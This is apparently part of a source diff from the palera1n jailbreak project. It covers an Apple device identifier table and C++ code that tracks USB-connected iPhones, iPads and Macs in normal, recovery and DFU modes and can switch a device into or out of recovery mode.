{ "iPad16,4", "j718ap", 0x0A, 0x8132, "iPad Pro 11-inch (M4, Cellular)" },
{ "iPad16,5", "j720ap", 0x0C, 0x8132, "iPad Pro 13-inch (M4, WiFi)" },
{ "iPad16,6", "j721ap", 0x0E, 0x8132, "iPad Pro 13-inch (M4, Cellular)" },
{ "iPad16,8", "j707ap", 0x10, 0x8132, "iPad Air 11-inch (M4, Wi-Fi)" },
{ "iPad16,9", "j708ap", 0x12, 0x8132, "iPad Air 11-inch (M4, Cellular)" },
{ "iPad16,10", "j737ap", 0x14, 0x8132, "iPad Air 13-inch (M4, Wi-Fi)" },
{ "iPad16,11", "j738ap", 0x16, 0x8132, "iPad Air 13-inch (M4, Cellular)" },
{ "iPad17,1", "j817ap", 0x08, 0x8142, "iPad Pro 11-inch (M5, WiFi)" },
{ "iPad17,2", "j818ap", 0x0A, 0x8142, "iPad Pro 11-inch (M5, Cellular)" },
{ "iPad17,3", "j820ap", 0x0C, 0x8142, "iPad Pro 13-inch (M5, WiFi)" },
{ "iPad17,4", "j821ap", 0x0E, 0x8142, "iPad Pro 13-inch (M5, Cellular)" },
/* Apple TV */
{ "AppleTV2,1", "k66ap", 0x10, 0x8930, "Apple TV 2" },
{ "AppleTV3,1", "j33ap", 0x08, 0x8942, "Apple TV 3" },
{ "AppleTV3,2", "j33iap", 0x00, 0x8947, "Apple TV 3 (2013)" },
{ "AppleTV5,3", "j42dap", 0x34, 0x7000, "Apple TV 4" },
{ "AppleTV6,2", "j105aap", 0x02, 0x8011, "Apple TV 4K" },
{ "AppleTV11,1", "j305ap", 0x08, 0x8020, "Apple TV 4K (2nd gen)" },
{ "AppleTV14,1", "j255ap", 0x02, 0x8110, "Apple TV 4K (3rd gen)" },
/* HomePod */
{ "AudioAccessory1,1", "b238aap", 0x38, 0x7000, "HomePod (1st gen)" },
{ "AudioAccessory1,2", "b238ap", 0x1A, 0x7000, "HomePod (1st gen)" },
{ "AudioAccessory5,1", "b520ap", 0x22, 0x8006, "HomePod mini" },
{ "AudioAccessory6,1", "b620ap", 0x18, 0x8301, "HomePod (2nd gen)" },
/* Apple Watch */
{ "Watch1,1", "n27aap", 0x02, 0x7002, "Apple Watch 38mm (1st gen)" },
{ "Watch1,2", "n28aap", 0x04, 0x7002, "Apple Watch 42mm (1st gen)" },
{ "Watch2,6", "n27dap", 0x02, 0x8002, "Apple Watch Series 1 (38mm)" },
{ "Watch2,7", "n28dap", 0x04, 0x8002, "Apple Watch Series 1 (42mm)" },
{ "Watch2,3", "n74ap", 0x0C, 0x8002, "Apple Watch Series 2 (38mm)" },
{ "Watch2,4", "n75ap", 0x0E, 0x8002, "Apple Watch Series 2 (42mm)" },
{ "Watch3,1", "n111sap", 0x1C, 0x8004, "Apple Watch Series 3 (38mm Cellular)" },
{ "Watch3,2", "n111bap", 0x1E, 0x8004, "Apple Watch Series 3 (42mm Cellular)" },
{ "Watch3,3", "n121sap", 0x18, 0x8004, "Apple Watch Series 3 (38mm)" },
{ "Watch3,4", "n121bap", 0x1A, 0x8004, "Apple Watch Series 3 (42mm)" },
{ "Watch4,1", "n131sap", 0x08, 0x8006, "Apple Watch Series 4 (40mm)" },
{ "Watch4,2", "n131bap", 0x0A, 0x8006, "Apple Watch Series 4 (44mm)" },
{ "Watch4,3", "n141sap", 0x0C, 0x8006, "Apple Watch Series 4 (40mm Cellular)" },
{ "Watch4,4", "n141bap", 0x0E, 0x8006, "Apple Watch Series 4 (44mm Cellular)" },
{ "Watch5,1", "n144sap", 0x10, 0x8006, "Apple Watch Series 5 (40mm)" },
{ "Watch5,2", "n144bap", 0x12, 0x8006, "Apple Watch Series 5 (44mm)" },
{ "Watch5,3", "n146sap", 0x14, 0x8006, "Apple Watch Series 5 (40mm Cellular)" },
{ "Watch5,4", "n146bap", 0x16, 0x8006, "Apple Watch Series 5 (44mm Cellular)" },
{ "Watch5,9", "n140sap", 0x28, 0x8006, "Apple Watch SE (40mm)" },
{ "Watch5,10", "n140bap", 0x2A, 0x8006, "Apple Watch SE (44mm)" },
{ "Watch5,11", "n142sap", 0x2C, 0x8006, "Apple Watch SE (40mm Cellular)" },
{ "Watch5,12", "n142bap", 0x2E, 0x8006, "Apple Watch SE (44mm Cellular)" },
{ "Watch6,1", "n157sap", 0x08, 0x8301, "Apple Watch Series 6 (40mm)" },
{ "Watch6,2", "n157bap", 0x0A, 0x8301, "Apple Watch Series 6 (44mm)" },
{ "Watch6,3", "n158sap", 0x0C, 0x8301, "Apple Watch Series 6 (40mm Cellular)" },
{ "Watch6,4", "n158bap", 0x0E, 0x8301, "Apple Watch Series 6 (44mm Cellular)" },
{ "Watch6,6", "n187sap", 0x10, 0x8301, "Apple Watch Series 7 (41mm)" },
{ "Watch6,7", "n187bap", 0x12, 0x8301, "Apple Watch Series 7 (45mm)" },
{ "Watch6,8", "n188sap", 0x14, 0x8301, "Apple Watch Series 7 (41mm Cellular)" },
{ "Watch6,9", "n188bap", 0x16, 0x8301, "Apple Watch Series 7 (45mm Cellular)" },
{ "Watch6,10", "n143sap", 0x28, 0x8301, "Apple Watch SE 2 (40mm)" },
{ "Watch6,11", "n143bap", 0x2A, 0x8301, "Apple Watch SE 2 (44mm)" },
{ "Watch6,12", "n149sap", 0x2C, 0x8301, "Apple Watch SE 2 (40mm Cellular)" },
{ "Watch6,13", "n149bap", 0x2E, 0x8301, "Apple Watch SE 2 (44mm Cellular)" },
{ "Watch6,14", "n197sap", 0x30, 0x8301, "Apple Watch Series 8 (41mm)" },
{ "Watch6,15", "n197bap", 0x32, 0x8301, "Apple Watch Series 8 (45mm)" },
{ "Watch6,16", "n198sap", 0x34, 0x8301, "Apple Watch Series 8 (41mm Cellular)" },
{ "Watch6,17", "n198bap", 0x36, 0x8301, "Apple Watch Series 8 (45mm Cellular)" },
{ "Watch6,18", "n199ap", 0x26, 0x8301, "Apple Watch Ultra" },
{ "Watch7,1", "n207sap", 0x08, 0x8310, "Apple Watch Series 9 (41mm)" },
{ "Watch7,2", "n207bap", 0x0A, 0x8310, "Apple Watch Series 9 (45mm)" },
{ "Watch7,3", "n208sap", 0x0C, 0x8310, "Apple Watch Series 9 (41mm Cellular)" },
{ "Watch7,4", "n208bap", 0x0E, 0x8310, "Apple Watch Series 9 (45mm Cellular)" },
{ "Watch7,5", "n210ap", 0x02, 0x8310, "Apple Watch Ultra 2" },
{ "Watch7,8", "n217sap", 0x10, 0x8310, "Apple Watch Series 10 (42mm)" },
{ "Watch7,9", "n217bap", 0x12, 0x8310, "Apple Watch Series 10 (46mm)" },
{ "Watch7,10", "n218sap", 0x14, 0x8310, "Apple Watch Series 10 (42mm Cellular)" },
{ "Watch7,11", "n218bap", 0x16, 0x8310, "Apple Watch Series 10 (46mm Cellular)" },
{ "Watch7,12", "n230ap", 0x22, 0x8310, "Apple Watch Ultra 3" },
{ "Watch7,13", "n243sap", 0x28, 0x8310, "Apple Watch SE 3 (40mm)" },
{ "Watch7,14", "n243bap", 0x2A, 0x8310, "Apple Watch SE 3 (44mm)" },
{ "Watch7,15", "n244sap", 0x2C, 0x8310, "Apple Watch SE 3 (40mm Cellular)" },
{ "Watch7,16", "n244bap", 0x2E, 0x8310, "Apple Watch SE 3 (44mm Cellular)" },
{ "Watch7,17", "n227sap", 0x18, 0x8310, "Apple Watch Series 11 (42mm)" },
{ "Watch7,18", "n227bap", 0x1A, 0x8310, "Apple Watch Series 11 (46mm)" },
{ "Watch7,19", "n228sap", 0x1C, 0x8310, "Apple Watch Series 11 (42mm Cellular)" },
{ "Watch7,20", "n228bap", 0x1E, 0x8310, "Apple Watch Series 11 (46mm Cellular)" },
/* Apple Silicon Macs */
{ "ADP3,2", "j273aap", 0x42, 0x8027, "Developer Transition Kit (2020)" },
{ "Macmini9,1", "j274ap", 0x22, 0x8103, "Mac mini (M1, 2020)" },
{ "MacBookPro17,1", "j293ap", 0x24, 0x8103, "MacBook Pro (M1, 13-inch, 2020)" },
{ "MacBookPro18,1", "j316sap", 0x0A, 0x6000, "MacBook Pro (M1 Pro, 16-inch, 2021)" },
{ "MacBookPro18,2", "j316cap", 0x0A, 0x6001, "MacBook Pro (M1 Max, 16-inch, 2021)" },
{ "MacBookPro18,3", "j314sap", 0x08, 0x6000, "MacBook Pro (M1 Pro, 14-inch, 2021)" },
{ "MacBookPro18,4", "j314cap", 0x08, 0x6001, "MacBook Pro (M1 Max, 14-inch, 2021)" },
{ "MacBookAir10,1", "j313ap", 0x26, 0x8103, "MacBook Air (M1, 2020)" },
{ "iMac21,1", "j456ap", 0x28, 0x8103, "iMac 24-inch (M1, Two Ports, 2021)" },
{ "iMac21,2", "j457ap", 0x2A, 0x8103, "iMac 24-inch (M1, Four Ports, 2021)" },
{ "Mac13,1", "j375cap", 0x04, 0x6001, "Mac Studio (M1 Max, 2022)" },
{ "Mac13,2", "j375dap", 0x0C, 0x6002, "Mac Studio (M1 Ultra, 2022)" },
{ "Mac14,2", "j413ap", 0x28, 0x8112, "MacBook Air (M2, 2022)" },
{ "Mac14,7", "j493ap", 0x2A, 0x8112, "MacBook Pro (M2, 13-inch, 2022)" },
{ "Mac14,3", "j473ap", 0x24, 0x8112, "Mac mini (M2, 2023)" },
{ "Mac14,5", "j414cap", 0x04, 0x6021, "MacBook Pro (14-inch, M2 Max, 2023)" },
{ "Mac14,6", "j416cap", 0x06, 0x6021, "MacBook Pro (16-inch, M2 Max, 2023)" },
{ "Mac14,8", "j180dap", 0x08, 0x6022, "Mac Pro (2023)" },
{ "Mac14,9", "j414sap", 0x04, 0x6020, "MacBook Pro (14-inch, M2 Pro, 2023)" },
{ "Mac14,10", "j416sap", 0x06, 0x6020, "MacBook Pro (16-inch, M2 Pro, 2023)" },
{ "Mac14,12", "j474sap", 0x02, 0x6020, "Mac mini (M2 Pro, 2023)" },
{ "Mac14,13", "j475cap", 0x0A, 0x6021, "Mac Studio (M2 Max, 2023)" },
{ "Mac14,14", "j475dap", 0x0A, 0x6022, "Mac Studio (M2 Ultra, 2023)" },
{ "Mac14,15", "j415ap", 0x2E, 0x8112, "MacBook Air (M2, 15-inch, 2023)" },
{ "Mac15,3", "j504ap", 0x22, 0x8122, "MacBook Pro (14-inch, M3, Nov 2023)" },
{ "Mac15,4", "j433ap", 0x28, 0x8122, "iMac 24-inch (M3, Two Ports, 2023)" },
{ "Mac15,5", "j434ap", 0x2A, 0x8122, "iMac 24-inch (M3, Four Ports, 2023)" },
{ "Mac15,6", "j514sap", 0x04, 0x6030, "MacBook Pro (14-inch, M3 Pro, Nov 2023)" },
{ "Mac15,7", "j516sap", 0x06, 0x6030, "MacBook Pro (16-inch, M3 Pro, Nov 2023)" },
{ "Mac15,8", "j514cap", 0x44, 0x6031, "MacBook Pro (14-inch, M3 Max, Nov 2023)" },
{ "Mac15,9", "j516cap", 0x46, 0x6031, "MacBook Pro (16-inch, M3 Max, Nov 2023)" },
{ "Mac15,10", "j514map", 0x44, 0x6034, "MacBook Pro (14-inch, M3 Max, Nov 2023)" },
{ "Mac15,11", "j516map", 0x46, 0x6034, "MacBook Pro (16-inch, M3 Max, Nov 2023)" },
{ "Mac15,12", "j613ap", 0x30, 0x8122, "MacBook Air (13-inch, M3, 2024)" },
{ "Mac15,13", "j615ap", 0x32, 0x8122, "MacBook Air (15-inch, M3, 2024)" },
{ "Mac15,14", "j575dap", 0x44, 0x6032, "Mac Studio (M3 Ultra, 2025)" },
{ "Mac16,1", "j604ap", 0x22, 0x8132, "MacBook Pro (14-inch, M4, Nov 2024)" },
{ "Mac16,2", "j623ap", 0x24, 0x8132, "iMac 24-inch (M4, Two Ports, 2024)" },
{ "Mac16,3", "j624ap", 0x26, 0x8132, "iMac 24-inch (M4, Four Ports, 2024)" },
{ "Mac16,5", "j616cap", 0x06, 0x6041, "MacBook Pro (16-inch, M4 Max, Nov 2024)" },
{ "Mac16,6", "j614cap", 0x04, 0x6041, "MacBook Pro (14-inch, M4 Max, Nov 2024)" },
{ "Mac16,7", "j616sap", 0x06, 0x6040, "MacBook Pro (16-inch, M4 Pro, Nov 2024)" },
{ "Mac16,8", "j614sap", 0x04, 0x6040, "MacBook Pro (14-inch, M4 Pro, Nov 2024)" },
{ "Mac16,9", "j575cap", 0x02, 0x6041, "Mac Studio (M4 Max, 2025)" },
{ "Mac16,10", "j773gap", 0x2A, 0x8132, "Mac mini (M4, 2024)" },
{ "Mac16,11", "j773sap", 0x02, 0x6040, "Mac mini (M4 Pro, 2024)" },
{ "Mac16,12", "j713ap", 0x2C, 0x8132, "MacBook Air (13-inch, M4, 2025)" },
{ "Mac16,13", "j715ap", 0x2E, 0x8132, "MacBook Air (15-inch, M4, 2025)" },
{ "Mac17,2", "j704ap", 0x22, 0x8142, "MacBook Pro (14-inch, M5, 2025)" },
/* Apple Silicon VMs (supported by Virtualization.framework on macOS 12) */
{ "VirtualMac2,1", "vma2macosap", 0x20, 0xFE00, "Apple Virtual Machine 1" },
/* Apple T2 Coprocessor */
{ "iBridge2,1", "j137ap", 0x0A, 0x8012, "Apple T2 iMacPro1,1 (j137)" },
{ "iBridge2,3", "j680ap", 0x0B, 0x8012, "Apple T2 MacBookPro15,1 (j680)" },
{ "iBridge2,4", "j132ap", 0x0C, 0x8012, "Apple T2 MacBookPro15,2 (j132)" },
{ "iBridge2,5", "j174ap", 0x0E, 0x8012, "Apple T2 Macmini8,1 (j174)" },
{ "iBridge2,6", "j160ap", 0x0F, 0x8012, "Apple T2 MacPro7,1 (j160)" },
{ "iBridge2,7", "j780ap", 0x07, 0x8012, "Apple T2 MacBookPro15,3 (j780)" },
{ "iBridge2,8", "j140kap", 0x17, 0x8012, "Apple T2 MacBookAir8,1 (j140k)" },
{ "iBridge2,10", "j213ap", 0x18, 0x8012, "Apple T2 MacBookPro15,4 (j213)" },
{ "iBridge2,12", "j140aap", 0x37, 0x8012, "Apple T2 MacBookAir8,2 (j140a)" },
{ "iBridge2,14", "j152fap", 0x3A, 0x8012, "Apple T2 MacBookPro16,1 (j152f)" },
{ "iBridge2,15", "j230kap", 0x3F, 0x8012, "Apple T2 MacBookAir9,1 (j230k)" },
{ "iBridge2,16", "j214kap", 0x3E, 0x8012, "Apple T2 MacBookPro16,2 (j214k)" },
{ "iBridge2,19", "j185ap", 0x22, 0x8012, "Apple T2 iMac20,1 (j185)" },
{ "iBridge2,20", "j185fap", 0x23, 0x8012, "Apple T2 iMac20,2 (j185f)" },
{ "iBridge2,21", "j223ap", 0x3B, 0x8012, "Apple T2 MacBookPro16,3 (j223)" },
{ "iBridge2,22", "j215ap", 0x38, 0x8012, "Apple T2 MacBookPro16,4 (j215)" },
/* Apple Displays */
{ "AppleDisplay2,1", "j327ap", 0x22, 0x8030, "Studio Display" },
/* Apple Vision Pro */
{ "RealityDevice14,1", "n301ap", 0x42, 0x8112, "Apple Vision Pro" },
{ "RealityDevice17,1", "n301aap", 0x42, 0x8142, "Apple Vision Pro (M5)" },
/* Private Cloud Compute Research Environment */
{ "iPhone99,11", "vresearch101ap", 0x90, 0xFE01, "iPhone 99,11" },
{ nullptr, nullptr, -1, -1, nullptr }
};
#include "../pongo_helper.h"
void get_recovery_info(char *sn, const char **ecid, const char **product_model, const char **product_name);
void get_name_from_product_type(const char *product_type, const char **name);
#endif // MAIN__DEVICE_INFO_H
#endif // WITH_GUI || WITH_TUI
+493
View File
@@ -0,0 +1,493 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#if defined(WITH_GUI) || defined(WITH_TUI)
#include "event.hpp"
#include "../sequence.hpp"
#include "device_info.hpp"
#include <chrono>
#include <mutex>
#include <thread>
#include <unordered_map>
#include <vector>
#include <algorithm>
#include <memory>
#include <condition_variable>
#include <cstring>
#include <iostream>
#if WITH_CIDERRAIN
# include <ciderra1n/log.h>
#else
# include <openra1n/utils.h>
# include <openra1n/shim.h>
#endif
#include "ra1ncovery/hotplug.hpp"
#include <idevice++/lockdown.hpp>
#include <idevice++/usbmuxd.hpp>
#include <idevice++/provider.hpp>
#if defined(__APPLE__)
using platform_service_t = io_service_t;
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
using platform_service_t = libusb_device*;
#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN)
using platform_service_t = liteusb_handle_t*;
#endif
#ifndef __APPLE__
# define IO_OBJECT_NULL nullptr
#endif
namespace {
struct ManagedDevice {
DeviceState state{};
bool normalPresent = false;
bool recoveryPresent = false;
bool dfuPresent = false;
hotplug_handle_t handle{};
uint32_t device_id = 0;
std::unique_ptr<IdeviceFFI::UsbmuxdDevice> usbmuxd_device;
};
void release_handle(hotplug_handle_t& h) {
#ifdef __APPLE__
if (h.serv != IO_OBJECT_NULL) {
IOObjectRelease(h.serv);
h.serv = IO_OBJECT_NULL;
}
if (h.device) {
(*h.device)->Release(h.device);
h.device = nullptr;
}
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
if (h.serv != nullptr) {
libusb_unref_device(h.serv);
h.serv = nullptr;
}
h.device = nullptr;
#elif !defined(__APPLE__) && defined(WITH_CIDERRAIN)
h.handle = nullptr;
#endif
}
void retain_handle(const hotplug_handle_t& h) {
#ifdef __APPLE__
if (h.serv != IO_OBJECT_NULL) {
IOObjectRetain(h.serv);
}
if (h.device) (*h.device)->AddRef(h.device);
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
if (h.serv != nullptr) {
libusb_ref_device(h.serv);
}
#endif
}
template<auto FreeFn>
struct Releaser {
template<typename T>
void operator()(T* ptr) const { if (ptr) FreeFn(ptr); }
};
template<typename T, auto FreeFn>
using unique_c_ptr = std::unique_ptr<T, Releaser<FreeFn>>;
std::mutex g_mutex;
std::vector<DeviceStateCallback> g_callbacks;
std::unordered_map<uint64_t, ManagedDevice> g_devices;
uint64_t g_activeEcid = 0;
std::once_flag g_startOnce;
#ifndef __APPLE__
std::condition_variable g_recoveryCv;
bool g_recoveryRunning = false;
#endif
void dispatch_callbacks(const std::vector<DeviceStateCallback>& callbacks, const DeviceState& state) {
for (const auto& cb : callbacks) {
if (cb) cb(state);
}
}
DeviceState build_public_state_locked() {
DeviceState out{};
const auto total_devices = static_cast<uint32_t>(g_devices.size());
out.connected = false;
out.connectedDeviceCount = total_devices;
out.multipleDevices = total_devices > 1;
if (g_devices.empty()) {
g_activeEcid = 0;
return out;
}
auto it = g_devices.find(g_activeEcid);
if (it == g_devices.end()) {
it = g_devices.begin();
}
g_activeEcid = it->first;
out = it->second.state;
out.connected = true;
out.connectedDeviceCount = total_devices;
out.multipleDevices = total_devices > 1;
return out;
}
void publish_state() {
std::vector<DeviceStateCallback> callbacks;
DeviceState state;
{
std::lock_guard lock(g_mutex);
callbacks = g_callbacks;
state = build_public_state_locked();
}
dispatch_callbacks(callbacks, state);
}
bool lockdown_get_string(IdeviceFFI::Lockdown& client, const char* key, std::string& out) {
auto res = client.get_value(key, nullptr);
if (res.is_err()) return false;
plist_t raw_plist = res.unwrap();
if (!raw_plist) return false;
char* raw = nullptr;
plist_get_string_val(raw_plist, &raw);
if (raw) {
out = raw;
}
return !out.empty();
}
bool lockdown_get_uint(IdeviceFFI::Lockdown& client, const char* key, uint64_t& out) {
auto res = client.get_value(key, nullptr);
if (res.is_err()) return false;
plist_t plist = res.unwrap();
if (!plist) return false;
plist_get_uint_val(plist, &out);
return out != 0;
}
bool build_normal_state(const IdeviceFFI::UsbmuxdDevice& device, DeviceState& out) {
auto id_opt = device.get_id();
if (id_opt.is_none()) return false;
uint32_t device_id = id_opt.unwrap();
auto udid_opt = device.get_udid();
if (udid_opt.is_none()) return false;
std::string udid_str = udid_opt.unwrap();
auto prov_res = IdeviceFFI::Provider::usbmuxd_new(IdeviceFFI::UsbmuxdAddr::default_new(), 0, udid_str, device_id, "ra1ncovery");
if (prov_res.is_err()) return false;
auto prov = std::move(prov_res).unwrap();
auto lockdown_res = IdeviceFFI::Lockdown::connect(prov);
if (lockdown_res.is_err()) return false;
auto session = std::move(lockdown_res).unwrap();
auto pf_res = prov.get_pairing_file();
if (pf_res.is_ok()) {
(void)session.start_session(pf_res.unwrap());
}
out.connected = true;
out.mode = DeviceMode::Normal;
out.udid = udid_str;
lockdown_get_string(session, "ProductType", out.productType);
lockdown_get_string(session, "ProductVersion", out.productVersion);
lockdown_get_uint(session, "UniqueChipID", out.ecid);
for (int i = 0; irecv_devices[i].product_type; i++) {
if (irecv_devices[i].product_type == out.productType) {
out.displayName = irecv_devices[i].name;
break;
}
}
out.isSupported = SequenceIsSupported(out.productType);
return true;
}
static void handle_other_add(hotplug_handle_t handle, DeviceMode mode, bool supported) {
char serial[256] = {};
if (!get_usb_device_serial(handle, serial, sizeof(serial))) return;
const char *ecid_str = nullptr, *product_model = nullptr, *product_name = nullptr;
get_recovery_info(serial, &ecid_str, &product_model, &product_name);
uint64_t ecid = ecid_str ? strtoull(ecid_str, nullptr, 16) : 0;
if (ecid == 0) return;
{
std::lock_guard lock(g_mutex);
ManagedDevice& m = g_devices[ecid];
release_handle(m.handle);
m.handle = handle;
retain_handle(m.handle);
m.state.connected = true;
m.state.mode = mode;
m.state.ecid = ecid;
m.state.productType = product_model ? product_model : "";
m.state.productVersion.clear();
m.state.displayName = product_name ? product_name : "";
m.state.isSupported = supported;
m.recoveryPresent = (mode == DeviceMode::Recovery);
m.dfuPresent = (mode == DeviceMode::DFU);
}
publish_state();
}
static void remove_device(platform_service_t service, DeviceMode mode, uint32_t target_device_id = 0, const std::string& target_udid = "") {
bool changed = false;
{
std::lock_guard lock(g_mutex);
auto it = std::find_if(g_devices.begin(), g_devices.end(), [&](const auto& pair) {
if (service != IO_OBJECT_NULL) {
#if !defined(__APPLE__) && defined(WITH_CIDERRAIN)
return pair.second.handle.handle == service;
#else
return pair.second.handle.serv == service;
#endif
}
if (mode == DeviceMode::Normal) {
if (!target_udid.empty()) return pair.second.state.udid == target_udid;
if (target_device_id != 0) return pair.second.device_id == target_device_id;
return pair.second.normalPresent;
}
switch (mode) {
case DeviceMode::Recovery: return pair.second.recoveryPresent;
case DeviceMode::DFU: return pair.second.dfuPresent;
default: return false;
}
});
if (it != g_devices.end()) {
auto& [ecid, m] = *it;
if (mode == DeviceMode::Normal) {
m.normalPresent = false;
m.usbmuxd_device.reset();
} else if (mode == DeviceMode::Recovery) {
m.recoveryPresent = false;
} else if (mode == DeviceMode::DFU) {
m.dfuPresent = false;
}
if (!m.normalPresent && !m.recoveryPresent && !m.dfuPresent) {
release_handle(m.handle);
g_devices.erase(it);
}
changed = true;
}
}
if (changed) publish_state();
}
void usbmuxd_listener_worker() {
std::unordered_map<uint32_t, std::string> known_normal_devices;
for (;;) {
std::this_thread::sleep_for(std::chrono::milliseconds(500));
std::unordered_map<uint32_t, std::string> current_devices;
std::vector<IdeviceFFI::UsbmuxdDevice> usb_only_devices;
auto conn_res = IdeviceFFI::UsbmuxdConnection::default_new(0);
if (conn_res.is_ok()) {
auto devices_res = std::move(conn_res).unwrap().get_devices();
if (devices_res.is_ok()) {
auto current_dev_list = std::move(devices_res).unwrap();
usb_only_devices.reserve(current_dev_list.size());
for (auto& dev : current_dev_list) {
auto conn_type_opt = dev.get_connection_type();
if (conn_type_opt.is_none() || conn_type_opt.unwrap().to_string() != "USB") {
continue;
}
auto id_opt = dev.get_id();
auto udid_opt = dev.get_udid();
if (id_opt.is_some() && udid_opt.is_some()) {
current_devices[id_opt.unwrap()] = udid_opt.unwrap();
usb_only_devices.push_back(std::move(dev));
}
}
}
}
for (auto it = known_normal_devices.begin(); it != known_normal_devices.end();) {
if (current_devices.find(it->first) == current_devices.end()) {
uint32_t removed_id = it->first;
std::string removed_udid = it->second;
it = known_normal_devices.erase(it);
remove_device(IO_OBJECT_NULL, DeviceMode::Normal, removed_id, removed_udid);
} else {
++it;
}
}
for (auto& dev : usb_only_devices) {
uint32_t id = dev.get_id().unwrap();
if (known_normal_devices.find(id) == known_normal_devices.end()) {
DeviceState discovered;
if (build_normal_state(dev, discovered)) {
if (discovered.ecid == 0) continue;
known_normal_devices[id] = dev.get_udid().unwrap();
{
std::lock_guard lock(g_mutex);
ManagedDevice& m = g_devices[discovered.ecid];
release_handle(m.handle);
m.state = discovered;
m.normalPresent = true;
m.recoveryPresent = false;
m.dfuPresent = false;
m.device_id = id;
m.usbmuxd_device = std::make_unique<IdeviceFFI::UsbmuxdDevice>(std::move(dev));
}
publish_state();
}
}
}
}
}
static void hotplug_callback(hotplug_event_t event, hotplug_handle_t handle) {
#if !defined(__APPLE__) && defined(WITH_CIDERRAIN)
platform_service_t srv = handle.handle;
#else
platform_service_t srv = handle.serv;
#endif
switch (event) {
case HOTPLUG_EVENT_DFU_ADD: handle_other_add(handle, DeviceMode::DFU, false); break;
case HOTPLUG_EVENT_DFU_REMOVE: remove_device(srv, DeviceMode::DFU); break;
case HOTPLUG_EVENT_RECOVERY_ADD: handle_other_add(handle, DeviceMode::Recovery, true); break;
case HOTPLUG_EVENT_RECOVERY_REMOVE: remove_device(srv, DeviceMode::Recovery); break;
}
}
void recovery_listener_worker() {
if (!start_hotplug_monitoring(hotplug_callback)) return;
#ifdef __APPLE__
CFRunLoopRun();
#elif !defined(__APPLE__) && !defined(WITH_CIDERRAIN)
std::unique_lock<std::mutex> lock(g_mutex);
g_recoveryRunning = true;
g_recoveryCv.wait(lock, [] { return !g_recoveryRunning; });
#endif
}
} // namespace
void register_device_state_callback(DeviceStateCallback cb) {
if (!cb) return;
DeviceState snapshot;
{
std::lock_guard lock(g_mutex);
g_callbacks.push_back(cb);
snapshot = build_public_state_locked();
}
cb(snapshot);
}
void ensure_device_event_system_started() {
std::call_once(g_startOnce, []() {
std::thread(usbmuxd_listener_worker).detach();
std::thread(recovery_listener_worker).detach();
});
}
bool enter_recovery() {
uint32_t device_id = 0;
std::string udid_str = "";
{
std::lock_guard lock(g_mutex);
if (g_activeEcid == 0) return false;
auto it = g_devices.find(g_activeEcid);
if (it == g_devices.end() || it->second.state.mode != DeviceMode::Normal) return false;
device_id = it->second.device_id;
udid_str = it->second.state.udid;
}
auto prov_res = IdeviceFFI::Provider::usbmuxd_new(IdeviceFFI::UsbmuxdAddr::default_new(), 0, udid_str, device_id, "ra1ncovery");
if (prov_res.is_err()) return false;
auto prov = std::move(prov_res).unwrap();
auto lockdown_res = IdeviceFFI::Lockdown::connect(prov);
if (lockdown_res.is_err()) return false;
auto session = std::move(lockdown_res).unwrap();
auto pf_res = prov.get_pairing_file();
if (pf_res.is_ok()) {
(void)session.start_session(pf_res.unwrap());
}
auto res = session.enter_recovery();
return res.is_ok();
}
void exit_recovery() {
hotplug_handle_t handle;
std::memset(&handle, 0, sizeof(handle));
{
std::lock_guard lock(g_mutex);
if (g_activeEcid == 0) return;
auto it = g_devices.find(g_activeEcid);
if (it == g_devices.end() || it->second.state.mode != DeviceMode::Recovery) return;
handle = it->second.handle;
}
exit_recovery(handle);
}
#endif // WITH_GUI || WITH_TUI
+72
View File
@@ -0,0 +1,72 @@
/*
* palera1n - https://palera.in
*
* Copyright (C) 2026 palera1n team
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*
*/
#if defined(WITH_GUI) || defined(WITH_TUI)
#ifndef EVENT_H
#define EVENT_H
#include <cstdint>
#include <functional>
#include <string>
#ifdef WITH_GUI
# include <wx/wx.h>
#endif
enum class DeviceMode
{
None,
Normal,
Recovery,
DFU
};
struct DeviceState
{
bool connected = false;
bool isSupported = false;
bool multipleDevices = false;
DeviceMode mode = DeviceMode::None;
std::string productVersion;
std::string productType;
std::string displayName;
uint64_t ecid = 0;
std::string udid;
uint32_t connectedDeviceCount = 0;
};
using DeviceStateCallback = std::function<void(const DeviceState&)>;
void register_device_state_callback(DeviceStateCallback cb);
